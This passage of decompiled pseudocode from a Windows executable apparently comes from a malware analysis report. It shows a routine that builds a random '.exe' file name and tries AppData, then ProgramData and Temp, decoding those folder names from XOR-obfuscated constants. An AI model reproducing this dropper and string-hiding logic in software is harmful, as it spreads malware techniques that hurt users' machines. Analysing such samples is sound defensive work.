                                                          													__eflags = _t1012 -  *((intOrPtr*)(_t1440 - 4)) + 0xfffffffc - 0x1f;
                                                          													if(__eflags > 0) {
                                                          														goto L313;
                                                          													} else {
                                                          														goto L251;
                                                          													}
                                                          												}
                                                          											}
                                                          										} else {
                                                          											_t1441 = _v428;
                                                          											_t1591 = _t1550 + 1;
                                                          											_t1016 = _t1441;
                                                          											__eflags = _t1591 - 0x1000;
                                                          											if(_t1591 < 0x1000) {
                                                          												L247:
                                                          												_push(_t1591);
                                                          												E0040EDFF(_t1441);
                                                          												_t1712 = _t1712 + 8;
                                                          												goto L248;
                                                          											} else {
                                                          												_t1360 =  *((intOrPtr*)(_t1441 - 4));
                                                          												_t1557 = _t1591 + 0x23;
                                                          												__eflags = _t1016 -  *((intOrPtr*)(_t1441 - 4)) + 0xfffffffc - 0x1f;
                                                          												if(__eflags > 0) {
                                                          													goto L313;
                                                          												} else {
                                                          													goto L247;
                                                          												}
                                                          											}
                                                          										}
                                                          									} else {
                                                          										_t1442 = _v476;
                                                          										_t1592 = _t1549 + 1;
                                                          										_t1020 = _t1442;
                                                          										__eflags = _t1592 - 0x1000;
                                                          										if(_t1592 < 0x1000) {
                                                          											L243:
                                                          											_push(_t1592);
                                                          											E0040EDFF(_t1442);
                                                          											_t1712 = _t1712 + 8;
                                                          											goto L244;
                                                          										} else {
                                                          											_t1360 =  *((intOrPtr*)(_t1442 - 4));
                                                          											_t1557 = _t1592 + 0x23;
                                                          											__eflags = _t1020 -  *((intOrPtr*)(_t1442 - 4)) + 0xfffffffc - 0x1f;
                                                          											if(__eflags > 0) {
                                                          												goto L313;
                                                          											} else {
                                                          												goto L243;
                                                          											}
                                                          										}
                                                          									}
                                                          								} else {
                                                          									_push(_t1326);
                                                          									_t1034 = E0040C770( &_v428,  &_v396);
                                                          									_v16 = 0x1b;
                                                          									_t1035 = E0040C990( &_v476, _t1034,  &_v372);
                                                          									_t1716 = _t1711 + 8;
                                                          									_t1446 = _t1035;
                                                          									_v16 = 0x1c;
                                                          									_t1683 =  *(_t1446 + 0x14);
                                                          									_t1595 =  *(_t1446 + 0x10);
                                                          									__eflags = _t1683 - _t1595 - 4;
                                                          									if(_t1683 - _t1595 < 4) {
                                                          										_v400 = 0;
                                                          										_t1446 = E00402980(_t1309, _t1446, _t1683, _t1688, 4, _v400, ".exe", 4);
                                                          									} else {
                                                          										 *(_t1446 + 0x10) = _t1595 + 4;
                                                          										_t1056 = _t1446;
                                                          										__eflags = _t1683 - 0x10;
                                                          										if(_t1683 >= 0x10) {
                                                          											_t1056 =  *_t1446;
                                                          										}
                                                          										 *((intOrPtr*)(_t1056 + _t1595)) = 0x6578652e;
                                                          										 *((char*)(_t1056 + _t1595 + 4)) = 0;
                                                          									}
                                                          									 *_t1688 = 0;
                                                          									 *(_t1688 + 0x10) = 0;
                                                          									 *(_t1688 + 0x14) = 0;
                                                          									asm("movups xmm0, [ecx]");
                                                          									asm("movups [esi], xmm0");
                                                          									asm("movq xmm0, [ecx+0x10]");
                                                          									asm("movq [esi+0x10], xmm0");
                                                          									 *(_t1446 + 0x10) = 0;
                                                          									 *(_t1446 + 0x14) = 0xf;
                                                          									 *_t1446 = 0;
                                                          									_t1596 = _v456;
                                                          									__eflags = _t1596 - 0x10;
                                                          									if(_t1596 < 0x10) {
                                                          										L216:
                                                          										_t1597 = _v408;
                                                          										_v460 = 0;
                                                          										_v456 = 0xf;
                                                          										_v476 = 0;
                                                          										__eflags = _t1597 - 0x10;
                                                          										if(_t1597 < 0x10) {
                                                          											L220:
                                                          											_t1598 = _v352;
                                                          											_v412 = 0;
                                                          											_v408 = 0xf;
                                                          											_v428 = 0;
                                                          											__eflags = _t1598 - 0x10;
                                                          											if(_t1598 < 0x10) {
                                                          												L224:
                                                          												_t1599 = _v328;
                                                          												_v356 = 0;
                                                          												_v352 = 0xf;
                                                          												_v372 = 0;
                                                          												__eflags = _t1599 - 0x10;
                                                          												if(__eflags < 0) {
                                                          													L228:
                                                          													_v332 = 0;
                                                          													_v328 = 0xf;
                                                          													_v348 = 0;
                                                          													goto L39;
                                                          												} else {
                                                          													_t1447 = _v348;
                                                          													_t1600 = _t1599 + 1;
                                                          													_t1039 = _t1447;
                                                          													__eflags = _t1600 - 0x1000;
                                                          													if(__eflags < 0) {
                                                          														L227:
                                                          														_push(_t1600);
                                                          														E0040EDFF(_t1447);
                                                          														_t1716 = _t1716 + 8;
                                                          														goto L228;
                                                          													} else {
                                                          														_t1360 =  *((intOrPtr*)(_t1447 - 4));
                                                          														_t1557 = _t1600 + 0x23;
                                                          														__eflags = _t1039 -  *((intOrPtr*)(_t1447 - 4)) + 0xfffffffc - 0x1f;
                                                          														if(__eflags > 0) {
                                                          															goto L313;
                                                          														} else {
                                                          															goto L227;
                                                          														}
                                                          													}
                                                          												}
                                                          											} else {
                                                          												_t1448 = _v372;
                                                          												_t1601 = _t1598 + 1;
                                                          												_t1043 = _t1448;
                                                          												__eflags = _t1601 - 0x1000;
                                                          												if(_t1601 < 0x1000) {
                                                          													L223:
                                                          													_push(_t1601);
                                                          													E0040EDFF(_t1448);
                                                          													_t1716 = _t1716 + 8;
                                                          													goto L224;
                                                          												} else {
                                                          													_t1360 =  *((intOrPtr*)(_t1448 - 4));
                                                          													_t1557 = _t1601 + 0x23;
                                                          													__eflags = _t1043 -  *((intOrPtr*)(_t1448 - 4)) + 0xfffffffc - 0x1f;
                                                          													if(__eflags > 0) {
                                                          														goto L313;
                                                          													} else {
                                                          														goto L223;
                                                          													}
                                                          												}
                                                          											}
                                                          										} else {
                                                          											_t1449 = _v428;
                                                          											_t1602 = _t1597 + 1;
                                                          											_t1047 = _t1449;
                                                          											__eflags = _t1602 - 0x1000;
                                                          											if(_t1602 < 0x1000) {
                                                          												L219:
                                                          												_push(_t1602);
                                                          												E0040EDFF(_t1449);
                                                          												_t1716 = _t1716 + 8;
                                                          												goto L220;
                                                          											} else {
                                                          												_t1360 =  *((intOrPtr*)(_t1449 - 4));
                                                          												_t1557 = _t1602 + 0x23;
                                                          												__eflags = _t1047 -  *((intOrPtr*)(_t1449 - 4)) + 0xfffffffc - 0x1f;
                                                          												if(__eflags > 0) {
                                                          													goto L313;
                                                          												} else {
                                                          													goto L219;
                                                          												}
                                                          											}
                                                          										}
                                                          									} else {
                                                          										_t1450 = _v476;
                                                          										_t1603 = _t1596 + 1;
                                                          										_t1051 = _t1450;
                                                          										__eflags = _t1603 - 0x1000;
                                                          										if(_t1603 < 0x1000) {
                                                          											L215:
                                                          											_push(_t1603);
                                                          											E0040EDFF(_t1450);
                                                          											_t1716 = _t1716 + 8;
                                                          											goto L216;
                                                          										} else {
                                                          											_t1360 =  *((intOrPtr*)(_t1450 - 4));
                                                          											_t1557 = _t1603 + 0x23;
                                                          											__eflags = _t1051 -  *((intOrPtr*)(_t1450 - 4)) + 0xfffffffc - 0x1f;
                                                          											if(__eflags > 0) {
                                                          												goto L313;
                                                          											} else {
                                                          												goto L215;
                                                          											}
                                                          										}
                                                          									}
                                                          								}
                                                          							} else {
                                                          								_t1451 = _v452;
                                                          								_t1545 = _t1545 + 1;
                                                          								_t1057 = _t1451;
                                                          								__eflags = _t1545 - 0x1000;
                                                          								if(_t1545 < 0x1000) {
                                                          									L205:
                                                          									_push(_t1545);
                                                          									E0040EDFF(_t1451);
                                                          									_t1708 = _t1708 + 8;
                                                          									goto L206;
                                                          								} else {
                                                          									_t1360 =  *((intOrPtr*)(_t1451 - 4));
                                                          									_t1557 = _t1545 + 0x23;
                                                          									__eflags = _t1057 -  *((intOrPtr*)(_t1451 - 4)) + 0xfffffffc - 0x1f;
                                                          									if(__eflags > 0) {
                                                          										goto L313;
                                                          									} else {
                                                          										goto L205;
                                                          									}
                                                          								}
                                                          							}
                                                          						} else {
                                                          							_t1452 = _v428;
                                                          							_t1604 = _t1544 + 1;
                                                          							_t1061 = _t1452;
                                                          							__eflags = _t1604 - 0x1000;
                                                          							if(_t1604 < 0x1000) {
                                                          								L201:
                                                          								_push(_t1604);
                                                          								E0040EDFF(_t1452);
                                                          								_t1708 = _t1708 + 8;
                                                          								goto L202;
                                                          							} else {
                                                          								_t1360 =  *((intOrPtr*)(_t1452 - 4));
                                                          								_t1557 = _t1604 + 0x23;
                                                          								__eflags = _t1061 -  *((intOrPtr*)(_t1452 - 4)) + 0xfffffffc - 0x1f;
                                                          								if(__eflags > 0) {
                                                          									goto L313;
                                                          								} else {
                                                          									goto L201;
                                                          								}
                                                          							}
                                                          						}
                                                          					} else {
                                                          						_t1453 = _v476;
                                                          						_t1605 = _t1543 + 1;
                                                          						_t1065 = _t1453;
                                                          						__eflags = _t1605 - 0x1000;
                                                          						if(_t1605 < 0x1000) {
                                                          							L197:
                                                          							_push(_t1605);
                                                          							E0040EDFF(_t1453);
                                                          							_t1708 = _t1708 + 8;
                                                          							goto L198;
                                                          						} else {
                                                          							_t1360 =  *((intOrPtr*)(_t1453 - 4));
                                                          							_t1557 = _t1605 + 0x23;
                                                          							__eflags = _t1065 -  *((intOrPtr*)(_t1453 - 4)) + 0xfffffffc - 0x1f;
                                                          							if(__eflags > 0) {
                                                          								goto L313;
                                                          							} else {
                                                          								goto L197;
                                                          							}
                                                          						}
                                                          					}
                                                          				} else {
                                                          					_t1077 =  &_v300;
                                                          					__imp__SHGetFolderPathA(0, 0x1a, 0, 0, _t1077); // executed
                                                          					if(_t1077 < 0) {
                                                          						_t1606 = E00418B65(_t1309, __edi, _t1688, __eflags, "APPDATA");
                                                          						_t1707 = _t1707 + 4;
                                                          						_t1454 = _t1606;
                                                          						_t16 = _t1454 + 1; // 0x1
                                                          						_t1683 = _t16;
                                                          						goto L6;
                                                          						L6:
                                                          						_t1079 =  *_t1454;
                                                          						_t1454 = _t1454 + 1;
                                                          						__eflags = _t1079;
                                                          						if(_t1079 != 0) {
                                                          							goto L6;
                                                          						} else {
                                                          							_t1455 = _t1454 - _t1683;
                                                          							__eflags = _t1455;
                                                          							_push(_t1455);
                                                          							_push(_t1606);
                                                          						}
                                                          					} else {
                                                          						_t1536 =  &_v300;
                                                          						_t1681 = _t1536 + 1;
                                                          						asm("o16 nop [eax+eax]");
                                                          						goto L3;
                                                          						L3:
                                                          						_t1306 =  *_t1536;
                                                          						_t1536 = _t1536 + 1;
                                                          						_t1769 = _t1306;
                                                          						if(_t1306 != 0) {
                                                          							goto L3;
                                                          						} else {
                                                          							_push(_t1536 - _t1681);
                                                          							_push( &_v300);
                                                          						}
                                                          					}
                                                          					E004026B0(_t1309,  &_v396);
                                                          					E00406760(_t1309,  &_v372, _t1683); // executed
                                                          					_v16 = 1;
                                                          					_t1082 = E00417DF6( &_v372, _t1769);
                                                          					asm("cdq");
                                                          					_t1459 =  &_v348;
                                                          					E004055C0(_t1459, _t1082 % 0xa + 5);
                                                          					_push(_t1459);
                                                          					_v16 = 2;
                                                          					_t1085 = E0040C770( &_v476,  &_v396);
                                                          					_v16 = 3;
                                                          					_t1086 = E0040C990( &_v428, _t1085,  &_v372);
                                                          					_t1716 = _t1707 + 8;
                                                          					E00402490(_t1309,  &_v396, _t1086);
                                                          					_t1611 = _v408;
                                                          					if(_t1611 < 0x10) {
                                                          						L12:
                                                          						_v16 = 2;
                                                          						_t1612 = _v456;
                                                          						_v412 = 0;
                                                          						_v408 = 0xf;
                                                          						_v428 = 0;
                                                          						if(_t1612 < 0x10) {
                                                          							L16:
                                                          							_t1747 = _t1716 - 0x18;
                                                          							_v400 = _t1747;
                                                          							E0040BB90(_t1309, _t1747, _t1612, _t1683,  &_v348);
                                                          							_t1748 = _t1747 - 0x18;
                                                          							_v16 = 4;
                                                          							_t1465 = _t1748;
                                                          							E0040BB90(_t1309, _t1465, _t1612, _t1683,  &_v396);
                                                          							_v16 = 2;
                                                          							_t1092 = E00406800(_t1309, _t1465, _t1683, _t1688); // executed
                                                          							_t1749 = _t1748 + 0x30;
                                                          							if(_t1092 == 0) {
                                                          								_v401 = 0x2e;
                                                          								_t1683 =  *( *[fs:0x2c]);
                                                          								_t1094 =  *0x450f0c; // 0x0
                                                          								__eflags = _t1094 -  *((intOrPtr*)(_t1683 + 4));
                                                          								if(_t1094 >  *((intOrPtr*)(_t1683 + 4))) {
                                                          									E0040EF48(_t1094, 0x450f0c);
                                                          									_t1749 = _t1749 + 4;
                                                          									__eflags =  *0x450f0c - 0xffffffff;
                                                          									if(__eflags == 0) {
                                                          										asm("movaps xmm0, [0x439d90]");
                                                          										asm("movups [0x450ed4], xmm0");
                                                          										 *0x450ee4 = _v401;
                                                          										E0040F25B(_t1465, __eflags, 0x42d070);
                                                          										E0040EEFE(0x450f0c);
                                                          										_t1749 = _t1749 + 8;
                                                          									}
                                                          								}
                                                          								_t1095 =  *0x450ee4; // 0x0
                                                          								__eflags = _t1095;
                                                          								if(_t1095 != 0) {
                                                          									asm("movups xmm0, [0x450ed4]");
                                                          									asm("movaps xmm1, [0x439d30]");
                                                          									asm("pxor xmm1, xmm0");
                                                          									 *0x450ee4 = _t1095 ^ 0x0000002e;
                                                          									asm("movups [0x450ed4], xmm1");
                                                          								}
                                                          								_t1466 = 0x450ed4;
                                                          								_v324 = 0;
                                                          								_v308 = 0;
                                                          								_v304 = 0xf;
                                                          								_v324 = 0;
                                                          								_t100 = _t1466 + 1; // 0x450ed5
                                                          								_t1613 = _t100;
                                                          								asm("o16 nop [eax+eax]");
                                                          								do {
                                                          									_t1096 =  *_t1466;
                                                          									_t1466 = _t1466 + 1;
                                                          									__eflags = _t1096;
                                                          								} while (_t1096 != 0);
                                                          								E004026B0(_t1309,  &_v324, 0x450ed4, _t1466 - _t1613);
                                                          								_v16 = 7;
                                                          								_t1614 = _v304;
                                                          								_t1469 = _v308;
                                                          								__eflags = _t1614 - _t1469 - 1;
                                                          								if(_t1614 - _t1469 < 1) {
                                                          									_v400 = 0;
                                                          									_t1100 = E00402980(_t1309,  &_v324, _t1683, _t1688, 1, _v400, "\\", 1);
                                                          								} else {
                                                          									_t105 =  &(1[_t1469]); // 0x1
                                                          									__eflags = _t1614 - 0x10;
                                                          									_v308 = _t105;
                                                          									_t1269 =  >=  ? _v324 :  &_v324;
                                                          									 *((short*)(( >=  ? _v324 :  &_v324) + _t1469)) = 0x5c;
                                                          									_t1100 =  &_v324;
                                                          								}
                                                          								_v452 = 0;
                                                          								_v436 = 0;
                                                          								_v432 = 0;
                                                          								asm("movups xmm0, [eax]");
                                                          								asm("movups [ebp-0x1b8], xmm0");
                                                          								asm("movq xmm0, [eax+0x10]");
                                                          								asm("movq [ebp-0x1a8], xmm0");
                                                          								 *(_t1100 + 0x10) = 0;
                                                          								 *(_t1100 + 0x14) = 0xf;
                                                          								 *_t1100 = 0;
                                                          								_v16 = 8;
                                                          								_t1102 = E0040C990( &_v428,  &_v452,  &_v372);
                                                          								_t1716 = _t1749 + 4;
                                                          								E00402490(_t1309,  &_v396, _t1102);
                                                          								_t1616 = _v408;
                                                          								__eflags = _t1616 - 0x10;
                                                          								if(_t1616 < 0x10) {
                                                          									L57:
                                                          									_v16 = 7;
                                                          									_t1617 = _v432;
                                                          									_v412 = 0;
                                                          									_v408 = 0xf;
                                                          									_v428 = 0;
                                                          									__eflags = _t1617 - 0x10;
                                                          									if(_t1617 < 0x10) {
                                                          										L61:
                                                          										_v16 = 2;
                                                          										_t1618 = _v304;
                                                          										_v436 = 0;
                                                          										_v432 = 0xf;
                                                          										_v452 = 0;
                                                          										__eflags = _t1618 - 0x10;
                                                          										if(_t1618 < 0x10) {
                                                          											L65:
                                                          											_t1750 = _t1716 - 0x18;
                                                          											_v304 = _t1750;
                                                          											E0040BB90(_t1309, _t1750, _t1618, _t1683,  &_v348);
                                                          											_t1751 = _t1750 - 0x18;
                                                          											_v16 = 9;
                                                          											_t1474 = _t1751;
                                                          											E0040BB90(_t1309, _t1474, _t1618, _t1683,  &_v396);
                                                          											_v16 = 2;
                                                          											_t1108 = E00406800(_t1309, _t1474, _t1683, _t1688);
                                                          											_t1752 = _t1751 + 0x30;
                                                          											__eflags = _t1108;
                                                          											if(_t1108 == 0) {
                                                          												_t1109 =  *0x450ebc; // 0x0
                                                          												_v316 = 0x7e72146d;
                                                          												_v312 = 0x5c49415c;
                                                          												_v308 = 0x4f6a434f;
                                                          												_v304 = 0x4f5a;
                                                          												_v401 = 0x2e;
                                                          												__eflags = _t1109 -  *((intOrPtr*)(_t1683 + 4));
                                                          												if(_t1109 >  *((intOrPtr*)(_t1683 + 4))) {
                                                          													E0040EF48(_t1109, 0x450ebc);
                                                          													_t1752 = _t1752 + 4;
                                                          													__eflags =  *0x450ebc - 0xffffffff;
                                                          													if(__eflags == 0) {
                                                          														asm("movq xmm0, [ebp-0x130]");
                                                          														 *0x451020 = _v308;
                                                          														 *0x451024 = _v304;
                                                          														asm("movq [0x451018], xmm0");
                                                          														 *0x451026 = _v401;
                                                          														E0040F25B(_t1474, __eflags, 0x42d040);
                                                          														E0040EEFE(0x450ebc);
                                                          														_t1752 = _t1752 + 8;
                                                          													}
                                                          												}
                                                          												__eflags =  *0x451026;
                                                          												if( *0x451026 != 0) {
                                                          													_t1226 = 0;
                                                          													__eflags = 0;
                                                          													do {
                                                          														 *(_t1226 + 0x451018) =  *(_t1226 + 0x451018) ^ 0x0000002e;
                                                          														_t1226 = _t1226 + 1;
                                                          														__eflags = _t1226 - 0xf;
                                                          													} while (_t1226 < 0xf);
                                                          												}
                                                          												_t1475 = 0x451018;
                                                          												_v452 = 0;
                                                          												_v436 = 0;
                                                          												_v432 = 0xf;
                                                          												_v452 = 0;
                                                          												_t201 = _t1475 + 1; // 0x451019
                                                          												_t1619 = _t201;
                                                          												do {
                                                          													_t1110 =  *_t1475;
                                                          													_t1475 = _t1475 + 1;
                                                          													__eflags = _t1110;
                                                          												} while (_t1110 != 0);
                                                          												E004026B0(_t1309,  &_v452, 0x451018, _t1475 - _t1619);
                                                          												_v16 = 0xc;
                                                          												_t1620 = _v432;
                                                          												_t1478 = _v436;
                                                          												__eflags = _t1620 - _t1478 - 1;
                                                          												if(_t1620 - _t1478 < 1) {
                                                          													_v400 = 0;
                                                          													_t1114 = E00402980(_t1309,  &_v452, _t1683, _t1688, 1, _v400, "\\", 1);
                                                          												} else {
                                                          													_t206 =  &(1[_t1478]); // 0x1
                                                          													__eflags = _t1620 - 0x10;
                                                          													_v436 = _t206;
                                                          													_t1225 =  >=  ? _v452 :  &_v452;
                                                          													 *((short*)(( >=  ? _v452 :  &_v452) + _t1478)) = 0x5c;
                                                          													_t1114 =  &_v452;
                                                          												}
                                                          												_v428 = 0;
                                                          												_v412 = 0;
                                                          												_v408 = 0;
                                                          												asm("movups xmm0, [eax]");
                                                          												asm("movups [ebp-0x1a0], xmm0");
                                                          												asm("movq xmm0, [eax+0x10]");
                                                          												asm("movq [ebp-0x190], xmm0");
                                                          												 *(_t1114 + 0x10) = 0;
                                                          												 *(_t1114 + 0x14) = 0xf;
                                                          												 *_t1114 = 0;
                                                          												_v16 = 0xd;
                                                          												_t1116 = E0040C990( &_v476,  &_v428,  &_v372);
                                                          												_t1716 = _t1752 + 4;
                                                          												E00402490(_t1309,  &_v396, _t1116);
                                                          												_t1622 = _v456;
                                                          												__eflags = _t1622 - 0x10;
                                                          												if(_t1622 < 0x10) {
                                                          													L102:
                                                          													_v16 = 0xc;
                                                          													_t1623 = _v408;
                                                          													_v460 = 0;
                                                          													_v456 = 0xf;
                                                          													_v476 = 0;
                                                          													__eflags = _t1623 - 0x10;
                                                          													if(_t1623 < 0x10) {
                                                          														L106:
                                                          														_v16 = 2;
                                                          														_t1624 = _v432;
                                                          														_v412 = 0;
                                                          														_v408 = 0xf;
                                                          														_v428 = 0;
                                                          														__eflags = _t1624 - 0x10;
                                                          														if(_t1624 < 0x10) {
                                                          															L110:
                                                          															_t1753 = _t1716 - 0x18;
                                                          															_v304 = _t1753;
                                                          															E0040BB90(_t1309, _t1753, _t1624, _t1683,  &_v348);
                                                          															_t1754 = _t1753 - 0x18;
                                                          															_v16 = 0xe;
                                                          															_t1483 = _t1754;
                                                          															E0040BB90(_t1309, _t1483, _t1624, _t1683,  &_v396);
                                                          															_v16 = 2;
                                                          															_t1122 = E00406800(_t1309, _t1483, _t1683, _t1688);
                                                          															_t1755 = _t1754 + 0x30;
                                                          															__eflags = _t1122;
                                                          															if(_t1122 == 0) {
                                                          																_t1123 =  *0x450f20; // 0x0
                                                          																_v308 = 0x7a72146d;
                                                          																_v304 = 0x2e5e434b;
                                                          																__eflags = _t1123 -  *((intOrPtr*)(_t1683 + 4));
                                                          																if(_t1123 >  *((intOrPtr*)(_t1683 + 4))) {
                                                          																	E0040EF48(_t1123, 0x450f20);
                                                          																	_t1755 = _t1755 + 4;
                                                          																	__eflags =  *0x450f20 - 0xffffffff;
                                                          																	if(__eflags == 0) {
                                                          																		 *0x450f58 = _v308;
                                                          																		 *0x450f5c = _v304;
                                                          																		E0040F25B(_v304, __eflags, 0x42d030);
                                                          																		E0040EEFE(0x450f20);
                                                          																		_t1755 = _t1755 + 8;
                                                          																	}
                                                          																}
                                                          																_t1124 =  *0x450f5f; // 0x0
                                                          																__eflags = _t1124;
                                                          																if(_t1124 != 0) {
                                                          																	 *0x450f58 =  *0x450f58 ^ 0x0000002e;
                                                          																	 *0x450f59 =  *0x450f59 ^ 0x0000002e;
                                                          																	 *0x450f5a =  *0x450f5a ^ 0x0000002e;
                                                          																	 *0x450f5b =  *0x450f5b ^ 0x0000002e;
                                                          																	 *0x450f5c =  *0x450f5c ^ 0x0000002e;
                                                          																	 *0x450f5d =  *0x450f5d ^ 0x0000002e;
                                                          																	 *0x450f5e =  *0x450f5e ^ 0x0000002e;
                                                          																	_t1184 = _t1124 ^ 0x0000002e;
                                                          																	__eflags = _t1184;
                                                          																	 *0x450f5f = _t1184;
                                                          																}
                                                          																_t1484 = 0x450f58;
                                                          																_v452 = 0;
                                                          																_v436 = 0;
                                                          																_v432 = 0xf;
                                                          																_v452 = 0;
                                                          																_t296 =  &(_t1484[1]); // 0x450f59
                                                          																_t1625 = _t296;
                                                          																do {
                                                          																	_t1125 =  *_t1484;
                                                          																	_t1484 =  &(_t1484[1]);
                                                          																	__eflags = _t1125;
                                                          																} while (_t1125 != 0);
                                                          																E004026B0(_t1309,  &_v452, 0x450f58, _t1484 - _t1625);
                                                          																_v16 = 0x11;
                                                          																_t1626 = _v432;
                                                          																_t1487 = _v436;
                                                          																__eflags = _t1626 - _t1487 - 1;
                                                          																if(_t1626 - _t1487 < 1) {
                                                          																	_v400 = 0;
                                                          																	_t1129 = E00402980(_t1309,  &_v452, _t1683, _t1688, 1, _v400, "\\", 1);
                                                          																} else {
                                                          																	_t301 =  &(1[_t1487]); // 0x1
                                                          																	__eflags = _t1626 - 0x10;
                                                          																	_v436 = _t301;
                                                          																	_t1183 =  >=  ? _v452 :  &_v452;
                                                          																	 *((short*)(( >=  ? _v452 :  &_v452) + _t1487)) = 0x5c;
                                                          																	_t1129 =  &_v452;
                                                          																}
                                                          																_v428 = 0;
                                                          																_v412 = 0;
                                                          																_v408 = 0;
                                                          																asm("movups xmm0, [eax]");
                                                          																asm("movups [ebp-0x1a0], xmm0");
                                                          																asm("movq xmm0, [eax+0x10]");
                                                          																asm("movq [ebp-0x190], xmm0");
                                                          																 *(_t1129 + 0x10) = 0;
                                                          																 *(_t1129 + 0x14) = 0xf;
                                                          																 *_t1129 = 0;
                                                          																_v16 = 0x12;
                                                          																_t1131 = E0040C990( &_v476,  &_v428,  &_v372);
                                                          																_t1716 = _t1755 + 4;
                                                          																E00402490(_t1309,  &_v396, _t1131);
                                                          																_t1628 = _v456;
                                                          																__eflags = _t1628 - 0x10;
                                                          																if(_t1628 < 0x10) {
                                                          																	L146:
                                                          																	_v16 = 0x11;
                                                          																	_t1629 = _v408;
                                                          																	_v460 = 0;
                                                          																	_v456 = 0xf;
                                                          																	_v476 = 0;
                                                          																	__eflags = _t1629 - 0x10;
                                                          																	if(_t1629 < 0x10) {
                                                          																		L150:
                                                          																		_v16 = 2;
                                                          																		_t1630 = _v432;
                                                          																		_v412 = 0;
                                                          																		_v408 = 0xf;
                                                          																		_v428 = 0;
                                                          																		__eflags = _t1630 - 0x10;
                                                          																		if(_t1630 < 0x10) {
                                                          																			L154:
                                                          																			_t1756 = _t1716 - 0x18;
                                                          																			_v304 = _t1756;
                                                          																			E0040BB90(_t1309, _t1756, _t1630, _t1683,  &_v348);
                                                          																			_t1757 = _t1756 - 0x18;
                                                          																			_v16 = 0x13;
                                                          																			_t1492 = _t1757;
                                                          																			E0040BB90(_t1309, _t1492, _t1630, _t1683,  &_v396);
                                                          																			_v16 = 2;
                                                          																			_t1137 = E00406800(_t1309, _t1492, _t1683, _t1688);
                                                          																			_t1716 = _t1757 + 0x30;
                                                          																			__eflags = _t1137;
                                                          																			if(_t1137 == 0) {
                                                          																				_v16 = 1;
                                                          																				_t1631 = _v328;
                                                          																				__eflags = _t1631 - 0x10;
                                                          																				if(_t1631 < 0x10) {
                                                          																					L180:
                                                          																					_v16 = 0;
                                                          																					_t1557 = _v352;
                                                          																					_v332 = 0;
                                                          																					_v328 = 0xf;
                                                          																					_v348 = 0;
                                                          																					__eflags = _t1557 - 0x10;
                                                          																					if(_t1557 < 0x10) {
                                                          																						L309:
                                                          																						E00402510(_t1688, 0x4399f7);
                                                          																						L310:
                                                          																						E00402440(_t1309,  &_v396);
                                                          																						goto L311;
                                                          																					} else {
                                                          																						_t1493 = _v372;
                                                          																						_t1557 =  &(1[_t1557]);
                                                          																						_t1138 = _t1493;
                                                          																						__eflags = _t1557 - 0x1000;
                                                          																						if(_t1557 < 0x1000) {
                                                          																							L183:
                                                          																							_push(_t1557);
                                                          																							E0040EDFF(_t1493);
                                                          																							goto L309;
                                                          																						} else {
                                                          																							_t1360 =  *((intOrPtr*)(_t1493 - 4));
                                                          																							_t1557 = _t1557 + 0x23;
                                                          																							__eflags = _t1138 -  *((intOrPtr*)(_t1493 - 4)) + 0xfffffffc - 0x1f;
                                                          																							if(__eflags > 0) {
                                                          																								goto L313;
                                                          																							} else {
                                                          																								goto L183;
                                                          																							}
                                                          																						}
                                                          																					}
                                                          																				} else {
                                                          																					_t1494 = _v348;
                                                          																					_t1632 = _t1631 + 1;
                                                          																					_t1142 = _t1494;
                                                          																					__eflags = _t1632 - 0x1000;
                                                          																					if(_t1632 < 0x1000) {
                                                          																						L179:
                                                          																						_push(_t1632);
                                                          																						E0040EDFF(_t1494);
                                                          																						_t1716 = _t1716 + 8;
                                                          																						goto L180;
                                                          																					} else {
                                                          																						_t1360 =  *((intOrPtr*)(_t1494 - 4));
                                                          																						_t1557 = _t1632 + 0x23;
                                                          																						__eflags = _t1142 -  *((intOrPtr*)(_t1494 - 4)) + 0xfffffffc - 0x1f;
                                                          																						if(__eflags > 0) {
                                                          																							goto L313;
                                                          																						} else {
                                                          																							goto L179;
                                                          																						}
                                                          																					}
                                                          																				}
                                                          																			} else {
                                                          																				_push(_t1492);
                                                          																				_t1146 = E0040C770( &_v428,  &_v396);
                                                          																				_v16 = 0x14;
                                                          																				_t1147 = E0040C990( &_v476, _t1146,  &_v348);
                                                          																				_t1716 = _t1716 + 8;
                                                          																				_t1498 = _t1147;
                                                          																				_v16 = 0x15;
                                                          																				_t1683 =  *(_t1498 + 0x14);
                                                          																				_t1635 =  *(_t1498 + 0x10);
                                                          																				__eflags = _t1683 - _t1635 - 4;
                                                          																				if(_t1683 - _t1635 < 4) {
                                                          																					_v400 = 0;
                                                          																					_t1498 = E00402980(_t1309, _t1498, _t1683, _t1688, 4, _v400, ".exe", 4);
                                                          																				} else {
                                                          																					 *(_t1498 + 0x10) = _t1635 + 4;
                                                          																					_t1168 = _t1498;
                                                          																					__eflags = _t1683 - 0x10;
                                                          																					if(_t1683 >= 0x10) {
                                                          																						_t1168 =  *_t1498;
                                                          																					}
                                                          																					 *((intOrPtr*)(_t1168 + _t1635)) = 0x6578652e;
                                                          																					 *((char*)(_t1168 + _t1635 + 4)) = 0;
                                                          																				}
                                                          																				 *_t1688 = 0;
                                                          																				 *(_t1688 + 0x10) = 0;
                                                          																				 *(_t1688 + 0x14) = 0;
                                                          																				asm("movups xmm0, [ecx]");
                                                          																				asm("movups [esi], xmm0");
                                                          																				asm("movq xmm0, [ecx+0x10]");
                                                          																				asm("movq [esi+0x10], xmm0");
                                                          																				 *(_t1498 + 0x10) = 0;
                                                          																				 *(_t1498 + 0x14) = 0xf;
                                                          																				 *_t1498 = 0;
                                                          																				_t1636 = _v456;
                                                          																				__eflags = _t1636 - 0x10;
                                                          																				if(_t1636 < 0x10) {
                                                          																					L164:
                                                          																					_t1637 = _v408;
                                                          																					_v460 = 0;
                                                          																					_v456 = 0xf;
                                                          																					_v476 = 0;
                                                          																					__eflags = _t1637 - 0x10;
                                                          																					if(_t1637 < 0x10) {
                                                          																						L168:
                                                          																						_t1638 = _v328;
                                                          																						_v412 = 0;
                                                          																						_v408 = 0xf;
                                                          																						_v428 = 0;
                                                          																						__eflags = _t1638 - 0x10;
                                                          																						if(_t1638 < 0x10) {
                                                          																							L172:
                                                          																							_t1639 = _v352;
                                                          																							_v332 = 0;
                                                          																							_v328 = 0xf;
                                                          																							_v348 = 0;
                                                          																							__eflags = _t1639 - 0x10;
                                                          																							if(__eflags < 0) {
                                                          																								goto L38;
                                                          																							} else {
                                                          																								_t1499 = _v372;
                                                          																								_t1640 = _t1639 + 1;
                                                          																								_t1151 = _t1499;
                                                          																								__eflags = _t1640 - 0x1000;
                                                          																								if(__eflags < 0) {
                                                          																									goto L37;
                                                          																								} else {
                                                          																									_t1360 =  *((intOrPtr*)(_t1499 - 4));
                                                          																									_t1557 = _t1640 + 0x23;
